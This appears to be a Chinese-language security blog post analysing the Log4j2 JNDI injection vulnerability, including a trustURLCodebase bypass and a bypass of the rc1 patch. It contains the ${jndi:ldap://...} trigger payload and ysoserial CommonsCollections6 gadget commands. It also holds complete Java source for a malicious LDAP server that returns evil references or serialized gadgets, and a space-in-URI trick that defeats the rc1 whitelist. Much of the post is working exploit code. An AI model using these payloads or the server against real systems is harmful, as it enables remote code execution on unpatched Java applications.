Apache Log4j2 trustURLCodebase绕过/rc1 绕过

0x00 原理

Log4j2 是 Java 开发框架日常使用的日志库,涉及范围广,容易触发
poc 如下

public static void main(String[] args) throws Exception {
    logger.error("${jndi:ldap://127.0.0.1:1389/Exploit}");
}

后文会提供一个利用环境提供一个利用环境
本次漏洞的 RCE 原理就是经典的 jndi+ldap 注入(jndi 只是其中的一种),利用${xxx} 触发 JndiLookup.lookup,从而加载远程恶意 payload 达到 RCE 效果,只是这次的触发条件太普遍了,毕竟谁都要打 log 不是

跟随 logger.log, 你会一直进入到 LoggerConfig.processLogEvent, 其中关键的地方就是对 event 做了一个 adapter 适配

private void processLogEvent(final LogEvent event, final LoggerConfigPredicate predicate) {
    event.setIncludeLocation(isIncludeLocation());
    if (predicate.allow(this)) {
        callAppenders(event);
    }
    logParent(event, predicate);
}

adapter 中会进行 encodeserializeformat, 每个 formatter 都会构造 log 的一部分, 其中的 MessagePatternConverter 存在问题

@Override
public StringBuilder toSerializable(final LogEvent event, final StringBuilder buffer) {
    final int len = formatters.length;
    for (int i = 0; i < len; i++) {
        formatters[i].format(event, buffer);
    }
    if (replace != null) {
        String str = buffer.toString();
        str = replace.format(str);
        buffer.setLength(0);
        buffer.append(str);
    }
    return buffer;
}

看一下 format 方法,判断 ${ 开头,截取后进入 replace

@Override
public void format(final LogEvent event, final StringBuilder toAppendTo) {
    final Message msg = event.getMessage();
    if (msg instanceof StringBuilderFormattable) {
        ...
        if (config != null && !noLookups) {
            for (int i = offset; i < workingBuilder.length() - 1; i++) {
                // 判断 ${
                if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{') {
                    final String value = workingBuilder.substring(offset, workingBuilder.length());
                    workingBuilder.setLength(offset);
                    // 跟进
                    workingBuilder.append(config.getStrSubstitutor().replace(event, value));
                }
            }
        }
    ...
    }
}

replace 中调用了 resolveVariable, 而后就是 lookup 典中典

protected String resolveVariable(final LogEvent event, final String variableName, final StringBuilder buf,
                                 final int startPos, final int endPos) {
    final StrLookup resolver = getVariableResolver();
    if (resolver == null) {
        return null;
    }
    // 进入
    return resolver.lookup(event, variableName);
}
@Override
public String lookup(final LogEvent event, String var) {
    if (var == null) {
        return null;
    }

    final int prefixPos = var.indexOf(PREFIX_SEPARATOR);
    if (prefixPos >= 0) {
        final String prefix = var.substring(0, prefixPos).toLowerCase(Locale.US);
        final String name = var.substring(prefixPos + 1);
        final StrLookup lookup = strLookupMap.get(prefix);
        if (lookup instanceof ConfigurationAware) {
            ((ConfigurationAware) lookup).setConfiguration(configuration);
        }
        String value = null;
        if (lookup != null) {
            //!!!
            value = event == null ? lookup.lookup(name) : lookup.lookup(event, name);
        }

        if (value != null) {
            return value;
        }
        var = var.substring(prefixPos + 1);
    }
    if (defaultLookup != null) {
        return event == null ? defaultLookup.lookup(var) : defaultLookup.lookup(event, var);
    }
    return null;
}

其中 strLookupMap.get(prefix) 包含了多种 lookup 如,java,date,market,ctx,sys,env,lower,upper,main,log4j
其他注入 payload 也会被执行 ${java:runtime}

0x01 trustURLCodebase绕过

RCE 是通过常用的加载远程 class 进行 JNDI 注入的操作,攻击者通过 RMI 服务返回一个 JNDI Naming Reference,受害者解码 Reference 时会去我们指定的 Codebase远程地址加载 Factory

但是在 JDK 6u132,JDK 7u122,JDK 8u113 中 Java 提升了JNDI 限制了 Naming/Directory 服务中 JNDI Reference 远程加载 Object Factory 类的特性。系统属性 com.sun.jndi.rmi.object.trustURLCodebasecom.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为false,即默认不允许从远程的 Codebase 加载 Reference 工厂类。如果需要开启RMI Registry或者 COS Naming Service Provider的远程类加载功能,需要将前面说的两个属性值设置为 true

loadClass中校验 trustURLCodebase, 而默认为 null,返回 false

    public Class<?> loadClass(String className, String codebase)
            throws ClassNotFoundException, MalformedURLException {
        if ("true".equalsIgnoreCase(trustURLCodebase)) {
            ClassLoader parent = getContextClassLoader();
            ClassLoader cl =
                    URLClassLoader.newInstance(getUrlArray(codebase), parent);

            return loadClass(className, cl);
        } else {
            return null;
        }
    }
 private static final String TRUST_URL_CODEBASE_PROPERTY =
            "com.sun.jndi.ldap.object.trustURLCodebase";
    private static final String trustURLCodebase =
            AccessController.doPrivileged(
                new PrivilegedAction<String>() {
                    public String run() {
                        try {
                        return System.getProperty(TRUST_URL_CODEBASE_PROPERTY,
                            "false");
                        } catch (SecurityException e) {
                        return "false";
                        }
                    }
                }
            );

这时候你去看 c_lookup 源码,发现可以直接根据 payload 反序列化,而不需要远程请求

            if (((Attributes)var4).get(Obj.JAVA_ATTRIBUTES[2]) != null) {
                var3 = Obj.decodeObject((Attributes)var4);
            }
if ((var1 = var0.get(JAVA_ATTRIBUTES[1])) != null) {
                ClassLoader var3 = helper.getURLClassLoader(var2);
                return deserializeObject((byte[])((byte[])var1.get()), var3);
}
private static Object deserializeObject(byte[] var0, ClassLoader var1) throws NamingException {
        try {
            ByteArrayInputStream var2 = new ByteArrayInputStream(var0);

            try {
                Object var20 = var1 == null ? new ObjectInputStream(var2) : new Obj.LoaderInputStream(var2, var1);
                Throwable var21 = null;

                Object var5;
                try {
                    var5 = ((ObjectInputStream)var20).readObject();
                } catch (Throwable var16) {
                    var21 = var16;
                    throw var16;
                } finally {
                    if (var20 != null) {
                        if (var21 != null) {
                            try {
                                ((ObjectInputStream)var20).close();
                            } catch (Throwable var15) {
                                var21.addSuppressed(var15);
                            }
                        } else {
                            ((ObjectInputStream)var20).close();
                        }
                    }

                }

                return var5;
            } catch (ClassNotFoundException var18) {
                NamingException var4 = new NamingException();
                var4.setRootCause(var18);
                throw var4;
            }
        } catch (IOException var19) {
            NamingException var3 = new NamingException();
            var3.setRootCause(var19);
            throw var3;
        }
    }

这直接一个 CC链 打上去, 收工

java -jar ysoserial.jar CommonsCollections6 '/Applications/Calculator.app/Contents/MacOS/Calculator'|base64
e.addAttribute("javaSerializedData", Base64.decode("rO0ABxxxxxx"));

0x3 CCServer

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.text.ParseException;

//https://0day.design/2020/02/04/JNDI%E6%B3%A8%E5%85%A5%E9%AB%98%E7%89%88%E6%9C%ACjdk%E7%BB%95%E8%BF%87%E5%AD%A6%E4%B9%A0/
public class CCServer {

    private static final String LDAP_BASE = "dc=example,dc=com";
    public static void main (String[] args) {

        String url = "https://127.0.0.1:80/#Exploit";
        int port = 1389;


        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;

        public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }

        @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }

        }
        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "Exploit");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            // Payload1: Return Evil Reference Factory
//            e.addAttribute("javaCodeBase", cbstring);
//            e.addAttribute("objectClass", "javaNamingReference");
//            e.addAttribute("javaFactory", this.codebase.getRef());

            //Payload2: Return Evil Serialized Gadget
            try {
                // java -jar ysoserial.jar CommonsCollections6 '/Applications/Calculator.app/Contents/MacOS/Calculator'|base64
            e.addAttribute("javaSerializedData", Base64.decode("rO0ABXNy..."));

            } catch (ParseException e1) {
                e1.printStackTrace();
            }
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }

    }
}

0x4 rc1 绕过

rc1 修复把上文的 formatter 替换为了 MessagePatternConverter.SimplePatternConverter, 同时让用户设置 nolookups

然后在 lookup 中加了protocolhost 白名单分别为java,ladp,ldaps 和本地,最后兜底一把梭哈不允许 REFERENCE 加载对象

if (!allowedProtocols.contains(uri.getScheme().toLowerCase(Locale.ROOT))) {
                LOGGER.warn("Log4j JNDI does not allow protocol {}", uri.getScheme());
                return null;
            }
            if (LDAP.equalsIgnoreCase(uri.getScheme()) || LDAPS.equalsIgnoreCase(uri.getScheme())) {
                // 允许的host白名单
                if (!allowedHosts.contains(uri.getHost())) {
                    LOGGER.warn("Attempt to access ldap server not in allowed list");
                    return null;
                }
 else if (attributeMap.get(REFERENCE_ADDRESS) != null
                               || attributeMap.get(OBJECT_FACTORY) != null) {
                        LOGGER.warn("Referenceable class is not allowed for {}", name);
                        return null;
                    }

但修复还是留下了漏洞,为了兜底,catch 后还是会走原先的逻辑,那直接构造 ${jndi:ldap://127.0.0.1:1389/ Exploit} 不对空格做编码URI crashlookup 正常

public synchronized <T> T lookup(final String name) throws NamingException {
    try {
        URI uri = new URI(name);
        ...
    } catch (URISyntaxException ex) {
        // This is OK.
    }
    return (T) this.context.lookup(name);
}

0x05 RC2 修复

直接 return

try{
} catch (URISyntaxException ex) {
    LOGGER.warn("Invalid JNDI URI - {}", name);
    return null;
}
return (T) this.context.lookup(name);
发布于 :web

发表评论

邮箱地址不会被公开。 必填项已用*标注